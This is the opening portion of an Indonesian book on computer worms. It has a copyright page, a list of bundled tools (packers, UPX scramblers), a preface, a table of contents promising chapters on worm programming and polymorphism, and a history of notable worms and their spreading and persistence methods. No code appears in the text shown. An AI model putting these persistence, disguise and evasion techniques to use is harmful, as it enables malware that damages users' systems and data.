Professional Documents
Culture Documents
Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari Penulis dan Penerbit.
ISBN 979-1090-01-7
Cetakan pertama
: Juli 2006
Computer Worm 1
Secret of Underground Coding
Versi eBook
tanpa CD pendukung
ISI CD PENDUKUNG
Buku ini disertai dengan sebuah CD pendukung yang berisi film tutorial sehingga pembaca bukan saja hanya membaca buku tetapi juga bisa melihat langsung teknik pembuatan suatu worm komputer, kemudian kumpulan source code / listing code yang digunakan pada buku dan beberapa program pendukung sebagai berikut:
DEMOWARE
VM Ware Virtual PC DeepFreeze ShadowUser ASPack UltraEdit 55.9 MB 17.1 MB 2.06 MB 7.80 MB 297 KB 1.69 MB
FREEWARE
A Squared HijackFree CXUPX Darmals Packer DOS 7.10 DropFile Script Generator HHD Hex Editor Icon Sucker Std KillBox Petite Process Explorer Registrar Lite Resource Hacker UPX 1.25 UPX Mutanter UPX Scrambler UPX Windows GUI 497 KB 419 KB 730 KB 765 KB 21.5 KB 2.07 MB 658 KB 67,5 KB 117 KB 1.24 MB 2.28 MB 1.32 MB 163 KB 38.9 KB 17.5 KB 199 KB
Puji syukur ke hadirat Allah SWT, atas berkat dan rahmat-Nya pula sehingga penulis dapat menyelesaikan penulisan buku: Computer Worm ini dengan baik. Hingga buku ini selesai ditulis, penulis belum mendapatkan adanya buku yang khusus membahas mengenai worm komputer baik dengan mengunjungi ke toko-toko buku secara langsung maupun berkunjung secara online. Sedangkan hal ini sangat penting sekali, terlebih pada saat buku ini disusun dimana perkembangan dan tingkat penyebaran worm lokal di Indonesia sangat tinggi dan cenderung semakin mengganas. Ironisnya banyak sekali pengguna komputer yang tidak mengerti perbedaan antara worm dan virus, sehingga worm seringkali diasumsikan sebagai suatu virus komputer dan banyak pula yang berasumsi bahwa worm merupakan suatu sub-class dari virus komputer, memang suatu kesalahan umum sehingga penulispun terkadang menggunakan istilah ini , lagipula penulis tidak berminat menjelaskan arti worm komputer (yang akan berbuntut dengan penjelasan panjang lebar tentang perbedaannya dengan virus komputer) setiap kali penulis menyebutkan istilah worm komputer , penulis berpendapat momen inilah yang paling tepat untuk menjelaskannya kepada pembaca semua. Buku ini bertujuan untuk menjelaskan kepada para pembaca, apa sesungguhnya worm komputer itu, apa perbedaanya dengan virus komputer, dan bagaimana worm tersebut diprogram. Buku ini tidak hanya membahas tentang worm komputer saja, tetapi juga memuat beberapa materi standar yang harus diketahui dalam rangka membuat atau memerangi suatu worm komputer. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi seba-
Jasakom
KATA PENGANTAR
liknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut, lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca, selain itu penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini. Dalam kesempatan ini, penulis mengucapkan terima kasih kepada kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan angkatan 95 98, dan alumni POLNES angkatan 98 2001, salam juga untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis mengucapkan terima kasih kepada penerbit Jasakom yang berkenan menerbitkan buku ini, special thanks buat Sto yang sudah banyak membantu dalam proses pembentukan buku. Akhir kata penulis penulis menyadari adanya kekurangan-kekurangan pada buku ini, maka dengan tidak merendahkan diri, penulis mengharapkan kritik dan saran yang bersifat membangun, untuk itu silahkan kirim e-mail Anda ke alamat e-mail penulis di: achmad_darmal@ yahoo.com.sg, dengan subjek: worm komputer (untuk menghindari spam mail, penulis membuat agar e-mail dengan subjek lain akan segera dihapus secara otomatis).
"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain untuk memeranginya."
Jasakom
vi
v 1 5
6 8 9 9 9 10 10 10 11 11 11 11 11 12 12 12 13 13 14 14 15 16 16
vii
Jasakom
Daftar Isi
2.5.10 ANNA KOURNIKOVA 2.5.11 SADMIND 2.5.12 CODE RED 2.5.13 NIMDA 2.5.14 BADTRANS.B 2.5.15 KLEZ 2.5.16 SLAMMER 2.5.17 BAGLE 2.5.18 NETSKY 2.6 PERKEMBANGAN WORM LOKAL 2.6.1 I-WORM PERKASA 2.6.2 PESIN 2.6.3 TABARU 2.6.4 KANGEN 2.6.5 KUMIS 2.6.6 DECOIL 2.6.7 RONTOKBRO 2.6.8 NOBRON 2.6.9 RUNITIS 2.6.10 BLUEFANTASY 2.6.11 ROMDIL 2.6.12 MYBRO 2.6.13 IRCBOT.AQF 2.6.14 LIGHTMOON
17 17 17 18 19 20 21 21 22 22 22 23 23 24 24 25 25 25 26 26 27 27 28 28
29
30 31 31 32 32 33
Jasakom
viii
3.3.1 BACKUP & RESTORE REGISTRY 3.3.2 EXPORT & IMPORT DATA REGISTRY 3.3.3 MANIPULASI KEY & VALUE 3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA 3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE) 3.3.6 MEMANFAATKAN FILE REG
34 35 35 37 38 39
41
42 43 43 43 44 44 44 45 45 46 46 47 47 47 48 48 49
51
53 54 55 56 57
ix
Jasakom
33
5.2.4 FRAME 5.2.5 COMMANDBUTTON 5.2.6 CHECKBOX 5.2.7 OPTIONBUTTON 5.2.8 COMBOBOX 5.2.9 LISTBOX 5.2.10 HSCROLLBAR 5.2.11 VSCROLLBAR 5.2.12 TIMER 5.2.13 DRIVELISTBOX 5.2.14 DIRLISTBOX 5.2.15 FILELISTBOX 5.2.16 SHAPE 5.2.17 LINE 5.2.18 IMAGE 5.2.19 DATA 5.2.20 OLE
58 58 59 60 61 62 63 64 65 66 66 67 68 69 69 70 71
73
74 75 76 77 78 78 78 79 80 81 81 82 83 83 84
Jasakom
6.5.1 DO WHILE/LOOP 6.5.2 DO UNTIL/LOOP 6.5.3 DO/LOOP WHILE 6.5.4 DO/LOOP UNTIL 6.5.5 FOR/NEXT 6.6 PENGHENTIAN (TERMINATING) 6.6.1 END 6.6.2 EXIT 6.6.3 STOP 6.7 ARRAY 6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL 6.7.2 DEKLARASI DENGAN KEYWORD TO 6.8 PENANGANAN FILE 6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE 6.8.2 MEMBUAT SALINAN / MENG-COPY FILE 6.8.3 MENGHAPUS FILE 6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE 6.8.5 MENGETAHUI BESAR FILE 6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE 6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF 6.8.8 MENGATUR DRIVE AKTIF 6.8.9 MENGATUR DIREKTORI AKTIF 6.8.10 MEMBUAT DIREKTORI BARU 6.8.11 MENGHAPUS DIREKTORI 6.8.12 MENGUBAH NAMA DIREKTORI 6.9 OPERASI FILE TEXT 6.9.1 MEMBUAT FILE TEXT 6.9.2 MEMBACA FILE TEXT 6.10 OPERASI FILE BINARY 6.10.1 MEMBUAT FILE BINARY 6.10.2 MEMBACA FILE BINARY 6.11 FILE SYSTEM OBJECT (FSO)
85 85 85 86 86 87 87 87 88 88 88 89 90 90 91 91 92 93 94 94 95 95 96 96 97 97 97 98 99 99 100 101
xi
Jasakom
85
103
105 106 106
117
117 118
125
125 126
135
135 136
151
152 153
165
166 166
179
180 191 191
Jasakom
xii
14.1 WATCHER METHODE 14.2 ENCRYPTION METHODE 14.3 POLYMORPHIC METHODE 14.4 ALGORITMA 14.5 PEMROGRAMAN
243
244 250 251
xiii
Jasakom
207
eiring dengan pesatnya kemajuan teknologi informasi khususnya dibidang teknologi komputer dan jaringan, keamanan menjadi isu yang kerap kali dibahas, mulai dari ancaman langsung para cracker atau hacker jahat hingga ancaman yang dilakukan melalui suatu program yang disebut malcode (malicious code). Suatu program atau script apapun yang bersifat merusak atau merugikan dapat dikategorikan sebagai malcode termasuk virus komputer, worm atau trojan horse. Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin memberikan semangat bagi para pembuat worm lokal untuk terus berkarya. Di Indonesia sendiri worm lokal mulai menunjukan aktifitas yang cukup signifikan di awal era millenium, pada tahun 2003 pengguna komputer di Indonesia disibukkan oleh sebuah worm lokal yang diperkirakan berhasil menginfeksi ribuan komputer di Indonesia.
Jasakom
Bab 1. Pendahuluan
BAB 1 PENDAHULUAN
Worm ini kemudian oleh salah satu perusahaan antivirus terkenal diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya varian-varian worm Pesin yang baru, ikut muncul sejumlah worm lokal lainnya seperti diberitakan sebuah situs Indonesia yang konsen terhadap malcode, www.vaksin.com. Bahkan pada saat buku ini ditulis, aktifitas worm di Indonesia semakin meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa posting yang menunjukan adanya gejala-gejala penyebaran worm lokal yang baru. Motif yang digunakan semakin beragam, mulai dari hanya sekedar "pamer", sampai dengan pengrusakan dan pencurian data. Media penyebaran pun semakin canggih mulai dari disket, USB flash disk sampai dengan jaringan termasuk internet. Namun satu hal yang pasti, penyebaran worm tersebut telah membawa dampak yang cukup besar bagi para pengguna komputer baik materiil maupun non materiil. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi sebaliknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut. Lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Buku ini akan menunjukan bagaimana seorang worm writer membuat suatu worm komputer, dan bagaimana memerangi worm tersebut dengan cara yang nyaris sama. Secara umum buku ini akan membicarakan tujuh hal bidang utama, yaitu: 1. 2. 3. 4. 5. 6. 7. Mengenal worm komputer Menggunakan registry pada Microsoft Windows Menggunakan Visual Basic 6.0 Pemrograman worm komputer Membuat program removal Pemrograman virus komputer Kompresi dengan UPX
Bab 1. Pendahuluan
Jasakom
Perlu Anda ketahui bahwa seluruh software tersebut berlisensi freeware (gratis) dan freetrial (gratis coba) sehingga Anda tidak dikenakan biaya apapun untuk software tersebut kecuali biaya CD dan ongkos pembuatannya, penulis tak lebih hanya men-download-kannya untuk Anda. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca. Selain itu, penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.
"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain untuk memeranginya."
Jasakom
Bab 1. Pendahuluan
Buku ini juga disertai sebuah CD yang berisi video tutorial untuk menambah pemahaman Anda dalam mempelajari buku ini, kemudian kumpulan source code yang digunakan sebagai latihan dan beberapa program-program pendukung.
Jasakom
agasan worm dan virus berawal pada tahun 1949, saat seorang founder Electronic Discrete Variable Automatic Computer (EDVAC), John Von Newman, memaparkan dalam sebuah papernya yang berjudul "Theory and Organization of Complicated Automata", dibahas suatu kemungkinan bahwa suatu program dapat melakukan penyebaran dengan sendirinya. Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory membuat semacam permainan dengan menciptakan suatu program yang dapat memusnahkan program ciptaan lawan, dan mampu bertahan terhadap serangan program lawan lainnya. Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap selesai permainan program tersebut selalu dimusnahkan. Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada tahun 1971. Program ini merupakan solusi dari kebutuhan system kendali lalu lintas udara. Program ini akan membantu mengingatkan operator apabila pengendalian suatu pesawat udara berpindah dari satu komputer ke komputer lainnya. Sesungguhnya program yang disebut "creeper" ini hanya berpindah dari layar ke layar pada jaringan, dengan menampilkan pesan "Im creeper! Catch me if you can!". Tetapi program creeper tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain mencoba membuat program serupa, tetapi gagasan tersebut berangsur-angsur hilang dalam beberapa bulan kemudian. Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan hampir setiap orang yang mengenal komputer juga mengenal istilah ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto Research Centre) pada tahun 1979 sebelum istilah virus komputer dipublikasikan. Istilah worm ini ternyata diilhami oleh suatu program "tapeworm" (cacing pita) dalam sebuah novel fiksi ilmiah karangan John Brunner yang berjudul "The Shockwave Rider", yang mengisahkan suatu
Jasakom
pemerintahan totaliter yang mengendalikan warga negaranya melalui suatu jaringan komputer. Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel tersebut kemudian memenuhi jaringan dengan suatu program yang disebut "tapeworm" sehingga memaksa mematikan jaringan komputer yang secara otomatis juga menghilangkan kendali pemerintah terhadap warga negaranya. Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan sebuah penelitian dengan mengembangkan lima buah program worm, masing-masing worm dibuat dengan tujuan tertentu yang membantu jaringan disekitarnya. Beberapa worm terlihat sederhana, seperti worm "town crier" yang bertugas memasuki jaringan hanya untuk menampilkan pengumuman. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm "vampire". Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat malam hari worm akan melakukan suatu kegiatan tertentu yang telah terprogram sebelumnya, ini berguna untuk memanfaatkan komputer yang tidak bekerja pada malam hari dengan memberikan tugas yang kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore berikutnya. Walau bagaimanapun, walaupun program ini berguna tapi disadari bahwa program ini juga akan sangat berbahaya apabila salah digunakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada suatu malam dan keesokan harinya para pekerja menemukan seluruh komputer yang ada pada jaringan tersebut mengalami crash (suatu kerusakan dimana system output dan input tidak berfungsi). Lebih dari itu saat komputer dihidupkan kembali, worm malfungsi tersebut kembali membuat komputer crash. Pada akhirnya dibuat semacam vaksin untuk mencegah worm tersebut, dan mulai saat itu penelitian terhadap worm tersebut ditutup untuk umum.
Jasakom
2.
3.
4.
Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah suatu algoritma atau program yang mereproduksi diri sendiri dari system ke system dengan menggunakan media penyimpanan atau suatu jaringan. Worm tidak menginfeksi file program lain dengan tujuan menjadikan file terinfeksi tersebut sebagai file infector. Worm mampu bekerja
Jasakom
Jasakom
tanpa interaksi user, bisa merusak sebuah data secara langsung atau menurunkan kinerja system dengan "mengikat" sumber daya system komputer dan bahkan bisa mematikan sebuah jaringan. Berbeda dengan virus yang melakukan infeksi dengan 'menumpang pada file program lain, menunggu interaksi user dan menjadikan file terinfeksi sebagai file infector.
Layaknya seorang penjual yang mati-matian merayu calon pembeli maka worm akan 'merias programnya dengan icon dan nama yang sangat memikat agar user mengeksekusinya. Suatu worm bisa saja membuat salinan dirinya dengan nama file 'porno dan dengan gambar icon yang sangat tidak mencurigakan.
Jasakom
10
11
Jasakom
2.5.2 MORRIS
Pada tanggal 2 Nopember 1988, worm Morris yang terkenal pada waktu itu berhasil melumpuhkan 6.000 komputer dalam beberapa jam. Worm tersebut dibuat oleh seorang siswa Cornell, Robert Morris Jr. Kemudian diadakan penyelidikan, sampai akhirnya Morris dijatuhkan hukuman pada tahun 1990. Kesimpulan yang diperoleh adalah motivasi dalam menulis worm tersebut tidak diketahui dan worm tidak diprogram untuk sengaja melakukan pengrusakan, tetapi kerusakan yang ditimbulkan disebabkan oleh kecelakaan dan kesalahan pemrograman. Dibulan Oktober 1989, muncul sebuah worm bernama WANK (Worms Against Nuclear Killers) yang tampaknya belajar dari worm Morris dan melakukan penularan pada komputer VMS pada DECNet. Worm ini
Jasakom
12
menyebar dengan memanfaatkan e-mail dan mengeksploitasi system untuk mendapatkan hak akses dengan berusaha mencari account user name dan password.
Pada bulan Januari 1999, worm happy99 menyebar lewat e-mail dengan attachment sebuah file aplikasi bernama happy99.exe. Ketika file tersebut dieksekusi tampil gambar kembang api untuk memperingati tahun baru 1999, tetapi secara diam-diam memodifikasi file WSOCK32.DLL (file system untuk koneksi internet) dengan suatu program trojan horse yang mengijinkan worm tersebut menyisipkan dirinya pada proses komunikasi internet, sementara file WSOCK32.DLL yang asli diubah kembali namanya menjadi WSOCK32.SKA
2.5.4 MELISA
Di bulan Maret 1999, sebuah virus macro "Melisa" kembali meresahkan pengguna internet dengan menginfeksi 100.000 unit komputer hanya dalam waktu tiga hari. Virus tersebut memulai penyebarannya dengan pengiriman perdana ke Usenet Newsgroup "alt.sex" yang menjanjikan account name berikut password untuk dapat mengakses sebuah situs erotis. Sebuah perusahaan antivirus Norton menyebutkan bahwa virus ini adalah penggabungan antara worm dan virus. Mellisa menyertakan sebuah file attachment berupa file dokumen Word yang terinfeksi. Ironisnya saat itu masih banyak yang percaya bahwa dengan membuka sebuah e-mail tidak dapat menginfeksi sebuah komputer. Ketika macro tersebut tereksekusi oleh aplikasi Word. Pertama kali yang dilakukannya adalah melakukan pemeriksaan apakah versi aplikasi Word yang digunakan bisa diinfeksi, jika bisa maka virus akan mengurangi pengaturan keamanan pada aplikasi Word untuk mencegah aplikasi menampilkan pesan atau peringatan tentang adanya suatu macro, yang akan mencurigakan user.
13
Jasakom
2.5.3 HAPPY99
Virus kemudian mencari sebuah key pada registry yang mengandung kata "kwyjibo", apabila key tersebut tidak ditemukan, virus akan mengeksekusi aplikasi Outlook dan berusaha mengirimkan salinan dirinya kepada 50 penerima yang ada pada address book (buku alamat) aplikasi Outlook. Sebagai tambahan virus menulari file template aplikasi Word "normal.dot" menggunakan fitur VBA macro "Auto Execute", file dokumen yang berasal dari file template tersebut akan membawa serta virus tersebut.
Jasakom
14
Seperti worm lainnya, ExploreZip juga melakukan penyebaran lewat e-mail dengan memanfaatkan aplikasi Outlook atau Exchange, dengan mengawasi e-mail yang masuk dan membalas e-mail tersebut dengan salinan dirinya. Bab 2. Mengenal Worm pada tanggal 9 Januari 2003 ExploreZip kemudian dilaporkan menghasilkan varian baru. Varian ini bernama ExploreZip.N varian dan cukup merepotkan pengguna komputer di Indonesia. Salah satu metode penyebarannya menggunakan e-mail yang memiliki attachment berupa file ZIPPED_FILES.EXE saat file ini dieksekusi maka worm menginstal dirinya sendiri pada system Windows. Worm ini meng-overwrite (menimpa) file dokumen dengan ekstensi DOC (Microsoft Word), XLS (Microsoft Excel), PPT (Microsoft Powerpoint), ASM (Assembler), CPP (C++), C (File C), H (Header C) sehingga file-file tersebut sulit untuk diselamatkan.
15
Jasakom
2.5.9 HYBRIS
Dibulan Oktober 2000, worm Hybris menyebar dengan e-mail berattachment. Jika dieksekusi akan memodifikasi file WSOCK32.DLL dalam rangka menjejaki semua lalu lintas ber-internet. Untuk setiap e-mail yang terkirim worm akan mengirimkan salinan dirinya ke alamat penerima yang sama. Yang menarik dari worm ini yaitu; bisa men-download file update untuk dirinya sendiri dari newsgroup "alt. comp.virus" metode yang digunakan termasuk canggih dan sangat berbahaya karena payload worm tersebut bisa diubah kapan saja.
Jasakom
16
2.5.11 SADMIND
Pada bulan Mei 2001, worm Sadmind menyebar dengan mentargetkan 2 vulnerability (kelemahan) pada 2 sistem operasi yang berbeda, dan menjadi teladan untuk worm berikutnya yang bisa melakukan serangan dengan berbagai kombinasi. Pertama kali yang dilakukannya adalah meng-eksploitasi vulnerability buffer overflow pada sistem operasi Sun Solaris, dan menginstal suatu program agar bisa melakukan komunikasi dengan IIS webserver guna melakukan suatu serangan. Vulnerability ini kemudian diumumkan pada tanggal 18 Juni 2001, yang menunjuk sebagai vulnerability pada Index Server ISAPI.
17
Jasakom
Microsoft Windows maka worm akan meng-eksploitasi server target tersebut, dan melakukan deface (mengubah halaman awal suatu website) dengan tampilan "Welcome to the www.worm.com ! hacked by Chinese!." Berikutnya worm mencari file c:\notworm. Worm tidak akan menghentikan serangannya jika file tersebut tidak ditemukan. Pada tanggal 20 Juli worm akan melakukan serangan DOS (denial of service) pada server www.whitehouse.gov, kemudian pada tanggal 27 worm membuat dirinya dalam kondisi dormant (fase saat worm menjadi tidak aktif) secara permanen. Tidak begitu lama pada tanggal 19 Juli 2001, muncul Code Red I yang merupakan versi kedua dari worm Code Red dengan penyebaran yang lebih cepat. Banyak perbaikan pada program worm sehingga mampu menginfeksi 359.000 unit komputer hanya dalam waktu 14 jam, seperti versi pertama worm ini juga membuat dirinya dalam kondisi dormant pada tanggal 20 Juli secara permanen. Di bulan Agustus 2001, kembali Code Red muncul dengan versi berbeda "Code Red II", muncul dengan payload yang sangat berbahaya. Worm ini masih memanfaatkan vulnerability yang sama dengan versi sebelumnya, sedikit perubahan pada program, worm ini akan membuat suatu trojan "explorer.exe" dan ditempatkan pada direktori root. Bab 2. Mengenal Worm
2.5.13 NIMDA
Tanggal 18 September 2001, worm Nimda adalah worm yang termasuk paling banyak menginfeksi komputer di Indonesia, muncul dengan memuat payload yang sangat berbahaya dan menggunakan beragam cara dalam penyebarannya, pada 12 jam pertama saja worm ini sudah berhasil menginfeksi 450.000 unit komputer, dan dalam dua hari Nimda berhasil menginfeksi 2,2 juta komputer serta menyebabkan kerugian sebesar US $ 370 juta. Walaupun worm ini tidak menggunakan metode baru dalam penyebarannya, tetapi dengan penggabungan beberapa metode dalam suatu worm, menunjukkan adanya tingkatan baru atas kompleksitas yang tidak terlihat sebelumnya. Nimda melakukan penyebaran dengan mengirimkan salinan dirinya melalui e-mail dengan subjek random (acak) dan sebuah file attachment "readme.exe".
Jasakom
18
Nimda memanfaatkan celah keamanan pada Internet Explorer dan Outlook Express 5.01 dan 5.5 Service Pack 1, dimana e-mail yang dikirimkan Nimda berupa halaman html yang memiliki body script tertentu dengan tujuan akan secara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja. Bab 2. Mengenal Worm Bila komputer terinfeksi berada dalam suatu jaringan maka secara otomatis Nimda mencari direktori yang di sharing dari komputer lain dan memberikan hak tulis penuh (full access) kemudian membuat salinan dirinya ke dalam direktori-direktori tersebut, dengan mengambil nama file secara random pada daftar file yang ada pada komputer terinfeksi, dengan menggunakan ekstensi EML atau NWS. Pada server yang terinfeksi, file-file halaman web akan disisipkan script baru yang secara otomatis mengakses file readme.eml saat halaman web tersebut dibuka. Dalam penyebarannya, Nimda juga memanfaatkan backdoor pada server yang terinfeksi CodeRed2 atau Sadmind. Banyaknya perubahan pada file system dan registry membuat worm ini sulit untuk dibersihkan.
2.5.14 BADTRANS.B
Pada bulan November 2001, BadTrans kembali beraksi setelah kemunculan perdananya pada tanggal 12 April 2001 dengan teknik yang lebih canggih dan bisa dikatakan sebagai era baru dalam social engineering. BadTrans.B memeriksa direktori inbox pada aplikasi Outlook dengan mencari e-mail yang belum dibuka oleh user, kemudian membalas e-mail tersebut dengan file attachment berupa salinan dirinya sendiri. Seperti Nimda, e-mail yang dikirimkan berupa halaman html dan secara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja. Pada proses pengiriman e-mail BadTrans.B menambahkan underscore (tanda garis bawah) "_" disetiap awal alamat pengirim, sehingga apabila e-mail tersebut di-reply (balas) maka e-mail balasan tersebut tidak akan sampai pada alamatnya. BadTrans.B akan menginstal suatu program trojan yang akan mencuri user name dan password kemudian mengirimkannya pada suatu alamat e-mail tertentu, dilaporkan worm ini mengakibatkan kerugian sebesar US $ 210 juta.
19
Jasakom
2.5.15 KLEZ
Worm Klez muncul di bulan Oktober 2001, seperti worm lainnya worm ini pun menggunakan kelemahan IE dan OE sehingga worm tereksekusi dengan sendirinya walau hanya dilihat pada preview pane saja. Klez hanya menggunakan sarana e-mail dalam penyebarannya. Klez menyatukan suatu keunikan dengan pendekatan sosial yang inovatif, dengan memilih salah satu alamat e-mail yang ada pada komputer terinfeksi dan menggunakan alamat tersebut sebagai alamat pengirim, kemudian mengirimkan salinan dirinya ke seluruh alamat e-mail yang lain. Dengan cara ini terlihat, seolah-olah e-mail dikirim oleh seseorang yang benar-benar dikenal oleh penerima. Tanggal 11 Nopember 2001, dilaporkan kembali varian lain dari worm tersebut. Klez.d memiliki rutin baru yang akan memeriksa database alamat e-mail dari pengguna ICQ sebagai target pengiriman. Saat dieksekusi worm menginstal dirinya kedalam direktori System Windows dengan nama file "WinSvc.exe" dan melakukan modifikasi pada registry sehingga worm akan aktif saat komputer dihidupkan. Varian lainnya muncul dengan nama Klez.e dan dilaporkan pada tanggal 17 Januari 2002. Saat dieksekusi worm akan menginstal dirinya kedalam direktori System Windows dengan nama file "WINK???.EXE", dimana ??? adalah variabel random berupa angka 2 dan 3. Seperti Klez. d worm ini juga memodifikasi registry dengan alasan yang sama, Selain itu worm ini juga telah dipersenjatai dengan pembunuh program antivirus yang bisa mendeteksi Nimda, Code Red, Sircam dan Fun Love. Pada varian selanjutnya, e-mail tidak hanya terlihat berasal dari seorang teman tetapi klez menyisipkan sebuah tool "imunitas" sebagai attachment dan penerima diajarkan untuk menon-aktifkan antivirus mereka agar bisa menjalankan tool tersebut, dengan mengikuti petunjuk tersebut, dan saat attachment tersebut dieksekusi maka sebenarnya user malah menginstal Klez serta virus ElKern pada komputer mereka. Klez merupakan salah satu worm yang memiliki siklus hidup terpanjang, yang pernah mengacaukan dunia internet. Pertama kali dilaporkan pada bulan Oktober 2001, dan mendominasi pada tahun 2002 sebagai worm yang paling lazim di internet. Bab 2. Mengenal Worm
Jasakom
20
Akhir tahun 2003 kembali dilaporkan varian Klez.H sebagai ancaman, walaupun sukar menentukan besar kerugian yang ditimbulkan, tetapi diperkirakan Klez dan varian-nya menimbulkan kerugian sebesar US $ 9 milyar.
2.5.16 SLAMMER
Serangan worm Slammer dimulai pada tanggal 23 Januari 2003, worm yang hanya berukuran 369 byte ini menjadikan Slammer sebagai worm dengan ukuran terkecil yang pernah ada. Cara kerja worm ini hampir sama dengan CodeRed, dan tidak memodifikasi registry. Slammer memanfaatkan vulnerability yang ditemukan oleh Next Generation Security Software Limited pada bulan Juli 2002 dimana dengan memanfaatkan vulnerability ini, penyerang dapat menguasai SQL Server dan kode pemrograman yang berhasil dimasukkan akan berjalan sebagai system karena hak dari MS SQL Server di dalam komputer adalah system. Worm ini bukan merupakan mass mailer dan hanya menyebarkan dirinya melalui scanning port 1434.
2.5.17 BAGLE
Di minggu ketiga Januari 2004, sebuah worm yang disinyalir berasal dari Jerman ternyata sukses meraih peringkat pertama sebagai worm yang paling banyak dihentikan. Worm yang kemudian diketahui bernama Bagle ini memiliki siklus hidup yang tergolong singkat, Bagle memasuki fase dormant secara permanen pada tanggal 28 Januari 2004 dan berusaha untuk menghapus file launcher-nya. Bagle memiliki ukuran file sebesar 15 Kb, dan melakukan penyebaran dengan cara mengirimkan file infector melalui e-mail ber-attachment, dengan tujuan pengiriman yang dikoleksi dari file-file berekstensi txt, htm, html dan wab pada sistem lokal. Saat file infector dieksekusi, Bagle membuat salinan file worm pada direktori System Windows, kemudian memanipulasi registry agar worm tereksekusi setiap kali Windows startup.
21
Jasakom
2.5.18 NETSKY
Tidak begitu lama setelah kemunculan worm Bagle, sebuah worm lainnya menyebar dengan kecepatan yang lebih tinggi. Worm Netsky melakukan penyebaran dengan cara yang sama seperti yang dilakukan worm Bagle, hanya saja Netsky memiliki beberapa rutin yang memungkinkan dirinya dapat melakukan penyebaran dengan menggunakan media aplikasi peer to peer. Netsky mengirimkan salinan dirinya melalui sebuah e-mail ber-attachment dan dalam bentuk file terkompresi. File worm berukuran sebesar 22 Kb dan menggunakan icon yang disamarkan sehingga terlihat sebagai sebuah file dokumen Microsoft Word. Saat file infector dieksekusi Netsky membuat salinan file worm pada direktori Windows dengan nama file 'services.exe, kemudian memanipulasi beberapa nilai registry yang bertujuan agar worm dapat tereksekusi setiap kali Windows startup.
Jasakom
22
2.6.2 PESIN
Worm lokal lainnya muncul dipertengahan bulan September 2003 dengan menggunakan icon Microsoft Word. Worm yang terkompresi dengan ASPack ini juga sering dipanggil dengan sebutan Kenangan, Puisi Cinta, Hallo, Mistery atau MyHeart. Hal ini disebabkan karena worm Pesin menggunakan nama-nama tersebut sebagai nama dari file infector. Worm Pesin menggunakan media disket dalam proses penyebaran, hal ini sangat efektif mengingat penggunaan disket masih sangat diminati oleh pengguna komputer di Indonesia. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'SysTask.exe, Pesin juga membuat salinan pada direktori My Documents dengan nama file 'MyHeart.exe kemudian menambahkan suatu nilai registry pada sub key 'Run agar worm ini tetap aktif saat Windows startup, yang menarik dari worm ini adalah worm akan menonaktifkan program Registry Editor jika user berusaha untuk menjalankannya.
2.6.3 TABARU
